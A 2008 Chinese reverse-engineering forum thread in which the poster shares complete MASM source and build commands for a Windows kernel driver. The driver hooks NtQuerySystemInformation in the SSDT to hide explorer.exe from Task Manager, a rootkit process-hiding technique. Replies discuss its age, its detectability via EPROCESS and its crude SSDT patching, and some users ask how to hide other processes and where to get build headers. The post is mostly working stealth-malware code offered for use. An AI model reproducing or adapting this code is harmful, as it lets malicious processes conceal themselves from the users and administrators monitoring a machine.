首页
社区
课程
招聘
一个隐藏进程的程序
发表于: 2008-3-16 11:03 10508

一个隐藏进程的程序

2008-3-16 11:03
10508
今天无意中发现自己电脑中发现的程序,忘了从那位高手那下载的.以下是源代码,保存为hideprocess.bat,编译即可生成驱动程序,上传的附件DlgLoader为驱动加栽程序,hideprocess.sys为驱动程序.它可以隐藏explorer.exe在任务管理器中的显示

;@echo off
;goto make

.386
.model flat, stdcall
option casemap:none
;----------------------------------------------------------------------------------------------------
;                                 I N C L U D E   F I L E S                                       
;----------------------------------------------------------------------------------------------------

include d:\masm32\include\w2k\ntstatus.inc
include d:\masm32\include\w2k\ntddk.inc
include d:\masm32\include\w2k\native.inc
include d:\masm32\include\w2k\ntoskrnl.inc
includelib d:\masm32\lib\w2k\ntoskrnl.lib
include d:\masm32\Macros\Strings.mac
;----------------------------------------------------------------------------------------------------
;                                 D A T A                                          
;----------------------------------------------------------------------------------------------------
.data
;保存地址
dwOldNtQuerySystemInformation  dd            ?
dwAddr                         dd            ?
;----------------------------------------------------------------------------------------------------
;                                 C O N S T A N T S                                             
;----------------------------------------------------------------------------------------------------
.const
CCOUNTED_UNICODE_STRING "\\Device\\devHideprocess", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slHideprocess", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "explorer.exe", processname, 4
;----------------------------------------------------------------------------------------------------
;                                 C O D E                                 
;----------------------------------------------------------------------------------------------------
.code

NewNtQuerySystemInformation     proc  SysInfoClass,lpSysInfo,SysInfoL,Return
                     
                    invoke NtQuerySystemInformation,SysInfoClass,lpSysInfo,SysInfoL,Return
                    pushad   
      test eax,eax
      jnz   exit
      .if    SysInfoClass == SystemProcessesAndThreadsInformation
             mov     esi,lpSysInfo
      mov     ebx,esi
             add     esi,[esi]                                      
      
         @@:               add     esi,38h                                        ;在38h偏移处取得进程名字。
                           invoke  RtlCompareUnicodeString,addr processname, esi, 1

      .if    eax== 0
             invoke DbgPrint, $CTA0("\nsuccessful \n")
             .if    dword ptr[esi-38h] == 0
             mov dword ptr[ebx],0
      jmp    exit
             .else     
             sub    esi,38h
             mov    edx,[esi]
                                         add    [ebx],edx

                                         add    esi,[esi]
             jmp    @B
                                  .endif
             .else
                                  sub    esi,38h
             cmp    dword ptr[esi],0
             jz     exit
             mov    ebx,esi
                                  add    esi,[esi]
      jmp    @B
             .endif         
      .endif
                 
  exit:      popad

                    ret

NewNtQuerySystemInformation    endp

;----------------------------------------------------------------------------------------------------
;                                 H O O K F U N C                                          
;----------------------------------------------------------------------------------------------------
HookFunction        proc

                    pushad
;      int 3
;      invoke DbgPrint, $CTA0("\nEntry into hoookfunction\n")
                    ;下面是用KeServiceDescriptorTabled导出符号获得数组的基地址,这个数组中包含有NtXXXX函数的入口地址。
      mov eax, [KeServiceDescriptorTable]
             mov esi, [eax]
      mov esi, [esi]
                    ;下面五句为获取ZwQuerySystemInformation的地址
      mov eax,ZwQuerySystemInformation
      inc eax
      inc eax
      mov eax,[eax]
      mov eax,[eax]
      inc eax
      movzx ecx,byte ptr[eax]
      sal ecx,2                  
      add esi,ecx
      mov dwAddr,esi
      mov edi,dword ptr[esi]
      ;保存旧的函数地址。
      mov dwOldNtQuerySystemInformation,edi
                    mov edi,offset NewNtQuerySystemInformation
      ;修改入口地址
      cli
      mov dword ptr[esi],edi
      sti
      popad
                    mov eax, STATUS_SUCCESS

      ret

HookFunction     endp

;----------------------------------------------------------------------------------------------------
;                                 DriverUnload                                          
;----------------------------------------------------------------------------------------------------                                
DriverUnload        proc pDriverObject:PDRIVER_OBJECT
;必须保存环境,否则后果很严重。在这个函数中恢复被修改的地址。

                   pushad
;             int 3
;                   invoke DbgPrint, $CTA0("\nEntry into DriverUnload \n")
                    mov esi,dwAddr
             mov eax,dwOldNtQuerySystemInformation
                    cli
             mov dword ptr[esi],eax
             sti
                    invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
             mov eax,pDriverObject
             invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject              
             popad

             ret

DriverUnload endp

;----------------------------------------------------------------------------------------------------
;                                 D R I V E R E N T R Y                                          
;----------------------------------------------------------------------------------------------------
DriverEntry         proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
                    local status:NTSTATUS
      local pDeviceObject:PDEVICE_OBJECT

;                   int 3
;             invoke DbgPrint, $CTA0("\nEntry into DriverEntry\n")
             mov status, STATUS_DEVICE_CONFIGURATION_ERROR
                    invoke IoCreateDevice, pDriverObject, 0, addr g_usDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, addr pDeviceObject
             .if    eax == STATUS_SUCCESS
      mov eax, pDriverObject
      assume eax:ptr DRIVER_OBJECT
      mov [eax].DriverUnload,  offset DriverUnload
                    assume eax:nothing
                           invoke HookFunction        
      mov status, STATUS_SUCCESS
             .endif
             mov eax, status

             ret

DriverEntry         endp

end DriverEntry

;----------------------------------------------------------------------------------------------------
;                                 E N D                                          
;----------------------------------------------------------------------------------------------------

:make

set drv=hideprocess

d:\masm32\bin\ml /nologo /c /coff %drv%.bat
d:\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj

del %drv%.obj

echo.
pause

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 0
支持
分享
最新回复 (13)
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
2
好,谢谢,收藏一份
2008-3-16 11:29
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
3
汗,相当科普的程序。

无实际价值。

就是通过进程名隐藏进程。。。。

kanxue 的编程区已经有3到4篇关于这个的文章了。

最原始的出处是《subverting the windows kernel》
------------------------------------------------------------------------------

几年前的老技术了~~
2008-3-16 12:33
0
雪    币: 44
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
通过查eprocess可以看到的
2008-3-19 00:16
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我是菜鸟,我要收藏
2008-3-19 20:41
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
有没有DlgLoader.rar的源码啊,楼主发一份吧。
2008-4-29 09:59
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
如果要隐藏其它进程必须要改
CCOUNTED_UNICODE_STRING "explorer.exe", processname, 4
中的进程名,再重新编译吗?
为什么用UltraEdit改hideprocess.sys中的进程名后,提示指定驱动程序无效?改的时候没有变动文件长度和进程名长度。
2008-4-29 10:17
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
8
修改SSDT表居然不先修改cr0,也太简陋了一点吧……
2008-4-29 17:25
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
include d:\masm32\include\w2k\ntstatus.inc
include d:\masm32\include\w2k\ntddk.inc
include d:\masm32\include\w2k\native.inc
include d:\masm32\include\w2k\ntoskrnl.inc
上面这几个文件在哪里找啊?下了w2K DDK也没有。安装了masm32 8.X,9.x都没有。
2008-4-30 10:23
0
雪    币: 235
活跃值: (23)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
10
kmd里面有
2008-4-30 11:34
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
kmd是什么东西,能不能发一份上来,或发个下载地址?
2008-4-30 14:38
0
雪    币: 235
活跃值: (23)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
12
kmd是用汇编开发驱动的  罗云彬的网站上用下载
2008-4-30 16:59
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
哪位好心人发一份上来嘛,我找了好久都没找到。
2008-5-4 15:03
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
好东西。。。。。。。。。
2008-6-9 19:58
0
游客
登录 | 注册 方可回帖
返回
//